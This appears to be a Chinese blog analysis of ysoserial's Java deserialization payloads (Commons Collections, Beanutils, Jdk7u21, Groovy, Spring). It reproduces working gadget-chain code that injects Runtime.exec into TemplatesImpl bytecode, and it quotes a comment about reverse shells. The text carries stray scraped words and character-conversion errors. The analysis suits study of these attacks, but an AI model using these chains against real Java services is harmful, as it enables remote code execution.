關於java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections
這個庫,形成的反序列化問題。然而,在下載老外的ysoserial工具並仔細看看後,我發現了許多值得學習的知識。html
至少能學到以下內容:java
payload
玩法java反序列化不只是有Apache Commons Collections
這樣一種玩法。還有以下payload玩法:git
CommonsBeanutilsCollectionsLogging1
所需第三方庫文件: commons-beanutils:1.9.2,commons-collections:3.1,commons-logging:1.2CommonsCollections1
所需第三方庫文件: commons-collections:3.1CommonsCollections2
所需第三方庫文件: commons-collections4:4.0CommonsCollections3
所需第三方庫文件: commons-collections:3.1(CommonsCollections1
的變種)CommonsCollections4
所需第三方庫文件: commons-collections4:4.0(CommonsCollections2
的變種)Groovy1
所需第三方庫文件: org.codehaus.groovy:groovy:2.3.9Jdk7u21
所需第三方庫文件: 只需JRE版本 <= 1.7u21Spring1
所需第三方庫文件: spring框架所含spring-core:4.1.4.RELEASE,spring-beans:4.1.4.RELEASE上面標註了payload使用狀況下所依賴的包,諸位能夠在源碼中看到,根據實際狀況選擇。github
經過對該攻擊代碼的分析,能夠學習java的一些有意思的知識。並且,裏面寫的java代碼也很值得學習,巧妙運用了反射機制去解決問題。老外寫的POC仍是很精妙的。spring
mvn eclipse:eclipse
。要你聯網下載依賴包,請耐心等待。若是卡住了,中止後再次執行該命令。導入後,能夠看到裏面有8個payload。其中ObjectPayload
是定義的接口,全部的Payload須要實現這個接口的getObject
方法。下面就開始對這些payload進行簡要的分析。shell
該payload的要求依賴包挺多的,可能碰到的狀況不會太多,但用到的技術是極好的。對這個payload執行的分析,請閱讀參考資源第一個的分析文章。apache
這裏談談個人理解。先直接看代碼:api
#!java public Object getObject(final String command) throws Exception { final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final BeanComparator comparator = new BeanComparator("lowestSetBit"); // create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); // stub data for replacement later queue.add(new BigInteger("1")); queue.add(new BigInteger("1")); // switch method called by comparator Reflections.setFieldValue(comparator, "property", "outputProperties"); //Reflections.setFieldValue(comparator, "property", "newTransformer"); //這裏因爲比較器的代碼,只能訪問內部屬性。因此選擇outputProperties屬性。 進而調用getOutputProperties方法。 @angelwhu // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = templates; return queue; }
第一行代碼final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
建立了TemplatesImpl
類的對象,裏面封裝了咱們須要的命令執行代碼。並且是使用字節碼的形式存儲在對象屬性中。
下面就具體分析下這個對象的產生過程。數組
在產生字節碼時,用到了JDK中javassist
類。具體瞭解能夠參考這篇博客http://www.cnblogs.com/hucn/p/3636912.html。
下面是我編寫的一個簡單的樣例程序,便於理解:安全
#!java @Test public void testClassPool() throws CannotCompileException, NotFoundException, IOException { String command = "calc"; ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(angelwhu.model.Point.class)); CtClass cc = pool.get(angelwhu.model.Point.class.getName()); //System.out.println(angelwhu.model.Point.class.getName()); cc.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); //加入關鍵執行代碼,生成一個靜態函數。 String newClassNameString = "angelwhu.Pwner" + System.nanoTime(); cc.setName(newClassNameString); CtMethod mthd = CtNewMethod.make("public static void main(String[] args) throws Exception {new " + newClassNameString + "();}", cc); cc.addMethod(mthd); cc.writeFile(); }
上述代碼首先獲取到class定義的容器ClassPool
,並找到了我自定義的Point
類,由今生成了cc
對象。這樣就能夠開始對類進行修改的任意操做了。並且這個操做是直接寫字節碼。這樣能夠繞過許多安全機制,正像工具中註釋說的:
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
後面的操做即是利用我自定義的模板類Point
,生成新的類名,並使用insertAfter
方法插入了惡意java代碼,執行命令。有興趣的能夠再詳細瞭解這個類的用法。這裏再也不贅述。
這段代碼運行後,會在當前目錄生成字節碼(class文件)。使用java
反編譯器可看到源碼,在原始模板類中插入了惡意靜態代碼,並且以字節碼的形式直接存儲。命令行直接運行,能夠執行彈出計算器的命令:
如今看看老外工具中,生成字節碼的代碼爲:
#!java public static TemplatesImpl createTemplatesImpl(final String command) throws Exception { final TemplatesImpl templates = new TemplatesImpl(); // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class)}); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; }
根據以上樣例分析,能夠清楚看見:前面幾行代碼,即生成了咱們須要的插入了惡意java代碼的字節碼數據。該字節碼其實能夠看作是一個類(.class)文件。final byte[] classBytes = clazz.toBytecode();
將其轉成了二進制數據進行存儲。
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes,ClassFiles.classAsBytes(Foo.class)});
這裏又來到了一個有趣知識,那就是java反射機制的強大。ysoserial
工具封裝了使用反射機制對對象的一些操做,能夠直接借鑑。
具體能夠看看其源碼,這裏在工具中常用的Reflections.setFieldValue(final Object obj, final String fieldName, final Object value);
方法,即是使用反射機制,將obj
對象的fieldName
屬性賦值爲value
。反射機制的強大之處在於:
private
修飾的屬性。因而,咱們便將com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
類生成的對象templates
中的_bytecodes
屬性,_name
屬性,_tfactory
屬性賦值成咱們但願的值。
重點在於_bytecodes
屬性,裏面存儲了咱們的惡意java代碼。如今的問題即是:如何觸發加載咱們的惡意java字節碼?
在TemplatesImpl類中存在執行鏈:
#!java TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() ClassLoader.defineClass() Class.newInstance() ... MaliciousClass.<clinit>() //class新建初始化對象後,會執行惡意類中的靜態方法,即:咱們插入的惡意java代碼 ... Runtime.exec()//這裏能夠是任意java代碼,好比:反彈shell等等。
這在ysoserial工具中的註釋中是能夠看到的。在源碼中,咱們從TemplatesImpl.getOutputProperties()
開始跟蹤,不難發現上面的執行鏈。最終會在getTransletInstance
方法中看到以下觸發加載自定義ja字節碼部分的代碼:
#!java private Translet getTransletInstance() throws TransformerConfigurationException { ............. if (_class == null) defineTransletClasses();//經過ClassLoader加載字節碼,存儲在_class數組中。 // The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//新建實例,觸發惡意代碼。 ............
在defineTransletClasses()
方法中,會加載咱們以前存儲在_bytecodes
屬性中的字節碼(能夠看作類文件),進而返回類的Class
對象,存儲在_class
數組中。下面是調試時候的截圖:
能夠看到在defineTransletClasses()
後,獲得類的Class
對象。而後會執行newInstance()
操做,新建一個實例,這樣便觸發了咱們插入的靜態惡意java代碼。若是接着單步執行,便會彈出計算器。
經過以上分析,能夠看到:
TemplatesImpl.getOutputProperties()
方法執行,咱們就能達到目的了。咱們接着看payload
的代碼:
#!java final BeanComparator comparator = new BeanComparator("lowestSetBit"); // create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); // stub data for replacement later queue.add(new BigInteger("1")); queue.add(new BigInteger("1"));
很簡單,將PriorityQueue
(優先級隊列)插入兩個元素,並且須要一個實現了Comparator
接口的比較器,對元素進行比較,並對元素進行排隊處理。具體能夠看看PriorityQueue
類的readObject()
方法。
#!java private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { ........... queue = new Object[size]; // Read in all elements. for (int i = 0; i < size; i++) queue[i] = s.readObject(); // Elements are guaranteed to be in "proper order", but the // spec has never explained what that might be. heapify(); }
從對象反序列化過程原理,能夠知道會首先調用該對象readObject()
。固然在序列化過程當中會首先調用該對象的writeObject()
方法。這兩個方法能夠對比着看,方便理解。
首先,在序列化PriorityQueue
類實例時,會依次讀取隊列中的對象,並放到數組中進行存儲。queue[i] = s.readObject();
而後,進行排序操做heapify();
。最終會到達這裏,調用比較器的compare()
方法,對元素間進行比較。
#!java private void siftDownUsingComparator(int k, E x) { ......................... if (comparator.compare(x, (E) c) <= 0) break; ......................... }
這裏傳進去的,即是BeanComparator
比較器:位於commons-beanutils
包。
因而,看看比較器的compare
方法。
#!java public int compare( T o1, T o2 ) { .................. Object value1 = PropertyUtils.getProperty( o1, property ); Object value2 = PropertyUtils.getProperty( o2, property ); return internalCompare( value1, value2 ); .................. }
o1
,o2
即是要比較的兩個對象,property
即咱們須要比較對象中的屬性(可控)。一開始property
賦值爲lowestSetBit
,後來改爲真正須要的outputProperties
屬性。
PropertyUtils.getProperty( o1, property )
顧名思義,即是取出o1
對象中property
屬性的值。而實際上會去調用o1.getProperty()
方法獲得property
屬性值。
到這裏,能夠畫上完美的一個圈了。咱們只需將前面構造好的TemplatesImpl
對象添加到PriorityQueue
(優先級隊列)中,而後設置比較器爲BeanComparator("outputProperties")
便可。
那麼,在反序列化過程當中,會自動調用TemplatesImpl.getOutputProperties()
方法。執行命令了。
我的總結觀點:
TemplatesImpl
的getOutputProperties
方法。或者TemplatesImpl.newTransformer()
即能自動加載字節碼,觸發惡意代碼。這也在其餘payload
中常常用到。PriorityQueue
換成TreeSet
容器,也是能夠的。爲了在生成payload時,可以正常運行。在代碼中,先象徵性地加入了兩個BigInteger
對象。
後面使用反射機制,將comparator
中的屬性和queue
容器存儲的對象都改爲咱們須要的屬性和對象。
不然,在生成payload
時,便會彈出計算器,拋出異常,沒法正常執行了。測試以下:
該payload
實際上是JAVA SE
的一個漏洞,ysoserial工具註釋中有連接:https://gist.github.com/frohoff/24af7913611f8406eaf3。該payload
不須要使用任何第三方庫文件,只需官方提供的JDK
便可,這個很方便啊。 不知Jdk7u21
之後怎麼補的,先來看看它的實現。
在介紹完上面這個payload
後,再來看這個能夠發現:CommonsBeanutilsCollectionsLogging1
借鑑了Jdk7u21
的利用方法。
一樣,Jdk7u21
開始便建立了一個存儲了惡意java字節碼數據的TemplatesImpl
類對象。接下來就是怎麼觸發的問題了:如何自動觸發TemplatesImpl
的getOutputProperties
方法。
這裏首先就有一個有趣的hash碰撞問題了。
類的hashCode
方法是返回一個獨一無二的hash值(int型),去表明這個惟一對象。若是類沒有重寫hashCode
方法,會調用原始Object
類中的hashCode
方法返回一個hash值。String
類的hashCode
方法是這麼實現的。
#!java public int hashCode() { int h = hash; int len = count; if (h == 0 && len > 0) { int off = offset; char val[] = value; for (int i = 0; i < len; i++) { h = 31*h + val[off++]; } hash = h; } return h; }
因而,就有了有趣的值:
#!java String zeroHashCodeStr = "f5a5a608"; int hash3 = zeroHashCodeStr.hashCode(); System.out.println(hash3);
能夠看到」f5a5a608″字符串,經過hashCode
方法生成的hash值爲0。這在以後的觸發過程當中會用到。
Jdk7u21
中使用了HashSet
容器進行觸發。添加了兩個對象,一個是存儲了惡意java字節碼數據的TemplatesImpl
類對象templates
,一個是代理了Templates
接口的proxy
對象,使用了動態代理機制。
以下是Jdk7u21
生成payload時的主要代碼:
#!java ...... InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); ...... LinkedHashSet set = new LinkedHashSet(); // maintain order set.add(templates); set.add(proxy); ...... return set;
HashSet
容器,就能夠當作是一個HashMap<key,new Object()>
,key
即是咱們存儲進去的數據,對應的value
都只是靜態的Object
對象。
一樣,來看看HashSet
容器中的readObject
方法。
#!java private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { .................... // Read in all elements in the proper order. for (int i=0; i<size; i++) { E e = (E) s.readObject(); map.put(e, PRESENT); }//添加set數據 }
實際上,這裏map
能夠看作是HashMap
類生成的對象。接着追蹤源碼就到了關鍵的地方:
#!java public V put(K key, V value) { ......... int hash = hash(key.hashCode()); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {//此處邏輯,須要使其觸發key.equals(k)操做。 .......... } } ......... }
經過以上分析下能夠知道:在反序列化HashSet
過程當中,會依次將templates
和proxy
對象添加到map
中。
接着咱們須要觸發代碼去執行key.equals(k)
這條語句。
因爲短路機制的緣由,必須使templates.hashCode()
與proxy.hashCode()
計算值相等。
proxy
使用了動態代理機制,代理了Templates
接口。具體請參考其餘分析老外LazyMap
觸發Apache Commons Collections
第三庫序列化問題的文章,如:參考資料2。
這裏又到了熟悉的sun.reflect.annotation.AnnotationInvocationHandler
類。
簡而言之,我理解爲將對象proxy
全部的方法調用,都改爲調用sun.reflect.annotation.AnnotationInvocationHandler
類的invoke()
方法。
當咱們調用proxy.hashCode()
方法時,天然就會執行到了以下代碼:
#!java public Object invoke(Object proxy, Method method, Object[] args) { String member = method.getName(); ............ if (member.equals("hashCode")) return hashCodeImpl(); .......... private int hashCodeImpl() { int result = 0; for (Map.Entry<String, Object> e : memberValues.entrySet()) { result += (127 * e.getKey().hashCode()) ^//使e.geyKey().hashCode()爲0。"f5a5a608".hashCode()=0; memberValueHashCode(e.getValue()); } return result; }
這裏的memberValues
就是payload
代碼一開始傳進去的map("f5a5a608",templates)
。簡要畫圖說明爲:
所以,經過動態代理機制加上"f5a5a608".hashCode()=0
的特殊性,使e.hash == hash
成立。
這樣即可以執行key.equals(k)
,即:proxy.equals(templates)
語句。
接着查看源碼便知:proxy.equals(templates)
操做會遍歷Templates
接口的全部方法,並調用。如此,便可觸發調用templates
的getOutputProperties
方法。
#!java if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class) return equalsImpl(args[0]); .......................... private Boolean equalsImpl(Object o) { .......................... for (Method memberMethod : getMemberMethods()) { String member = memberMethod.getName(); Object ourValue = memberValues.get(member); .......................... hisValue = memberMethod.invoke(o);//觸發調用getOutputProperties方法
如此,Jdk7u21
的payload
便也完美觸發了。
一樣,爲了正常生成payload不拋出異常。先暫時存儲map.put(zeroHashCodeStr, "foo");
,後面替換爲真正咱們所需的對象:map.put(zeroHashCodeStr, templates); // swap in real object
總結一下:
AnnotationInvocationHandler
對於equal
方法的處理,可使咱們調用目標方法getOutputProperties
。計算hash值部分的內容還挺有意思。有興趣能夠到參考連接中github上看看個人測試代碼。
這個payload
和最近Xstream
反序列化漏洞的POC原理有類似性。請參考:http://drops.wooyun.org/papers/13243。
下面談談這個payload不同的地方。 payload
使用了Groovy
庫中ConvertedClosure
類。該類實現了InvocationHandler
和Serializable
接口,一樣能夠用做動態代理而且能夠序列化傳輸。代碼也只有幾行:
#!java final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); final Map map = Gadgets.createProxy(closure, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); return handler;
當反序列化handler時,會調用map.entrySet
方法。因而,就調用代理類ConvertedClosure
的invoke
方法了。最終,來到了:
#!java public Object invokeCustom(Object proxy, Method method, Object[] args) throws Throwable { if (methodName!=null && !methodName.equals(method.getName())) return null; return ((Closure) getDelegate()).call(args);//傳入的是MethodClosure }
而後和XStream
同樣,調用MethodClosure.doCall()
方法。即:Groovy語法中"command".execute()
,順利執行命令。
我的總結:
Spring1
這個payload
執行鏈有些複雜。按照常規步驟來分析下:
反序列化對象的readObject()方法爲入口點進行跟蹤。這裏是org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider
。
#!java private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException { inputStream.defaultReadObject(); Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName); this.result = ReflectionUtils.invokeMethod(method, this.provider.getType()); }
很明顯的嗅到了感興趣的」味道」:ReflectionUtils.invokeMethod
。接下來聯繫payload
源碼跟進下,或者單步調試。
在執行ReflectionUtils.invokeMethod(method, this.provider.getType())
語句時,整個執行流程以下:
#!java ReflectionUtils.invokeMethod() Method.invoke(typeTemplatesProxy對象) //Method爲Templates(Proxy).newTransformer()
這是明顯的一部分調用,在執行Templates(Proxy).newTransformer()
時,會有餘下過程發生:
#!java typeTemplatesProxy對象.invoke() method.invoke(objectFactoryProxy對象.getObject(), args); objectFactoryProxy對象.getObject() AnnotationInvocationHandler.invoke() HashMap.get("getObject")//返回templates對象 Method.invoke(templates對象,args) TemplatesImpl.newTransformer() .......//觸發加載含有惡意java字節碼的操做
這裏面是對象之間的調用,還有動態代理機制,容易繞暈,就說到這裏。有興趣能夠單步調試看看。
我的總結:
Spring1
爲了強行代理Type
接口,進行對象賦值。運用了多個動態代理機制實現,仍是很巧妙的。對CommonsCollections
類,ysoserial
工具中存在四種利用方法。所用的方法都是與上面幾個payload
相似。
CommonsCollections1
天然是使用了LazyMap
和動態代理機制進行觸發調用Transformer
執行鏈,請參考連接2。CommonsCollections2
和CommonsBeanutilsCollectionsLogging1
同樣也使用了比較器去觸發TemplatesImpl
的newTransformer
方法執行命令。
這裏用到的比較器爲TransformingComparator
,直接看其compare
方法:
#!java public int compare(final I obj1, final I obj2) { final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }
很直接調用了transformer.transform(obj1)
,這裏的obj1
就是payload
中的templates
對象。
主要代碼爲:
#!java // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); // create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer)); ......... // switch method called by comparator Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); //使用反射機制改變私有變量~ 否則,會在以前就執行命令,沒法生成序列化數據。 //反序列化時,會調用TemplatesImpl的newTransformer方法。
根據熟悉的InvokerTransformer
做用,最終會調用templates.newTransformer()
執行惡意java代碼。
CommonsCollections3
是CommonsCollections1
的變種,將執行鏈換了下:
#!java TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command); ............. // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImpl } )};
查看InstantiateTransformer
的transform
方法,能夠看到關鍵代碼:
#!java Constructor con = ((Class) input).getConstructor(iParamTypes); //input爲TrAXFilter.class return con.newInstance(iArgs);
即:transformer
執行鏈會執行new TrAXFilter(templatesImpl)
。正好,TrAXFilter
類構造函數中調用了templates.newTransformer()
方法。都是套路啊。
#!java public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer();//觸發執行命令 _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
CommonsCollections4
是CommonsCollections2
的變種。一樣使用InstantiateTransformer
觸發templates.newTransformer()
代替了以前的執行鏈。
#!java TemplatesImpl templates = Gadgets.createTemplatesImpl(command); ............... // grab defensively copied arrays paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); .............. // swap in values to arm Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); paramTypes[0] = Templates.class; args[0] = templates; ...................
照例生成PriorityQueue<Object> queue
後,使用反射機制對其屬性進行修改。保證成功生成payload。
我的總結:payload分析完了,裏面涉及的方法很巧妙。也有許多共同的利用特性,值得學習~~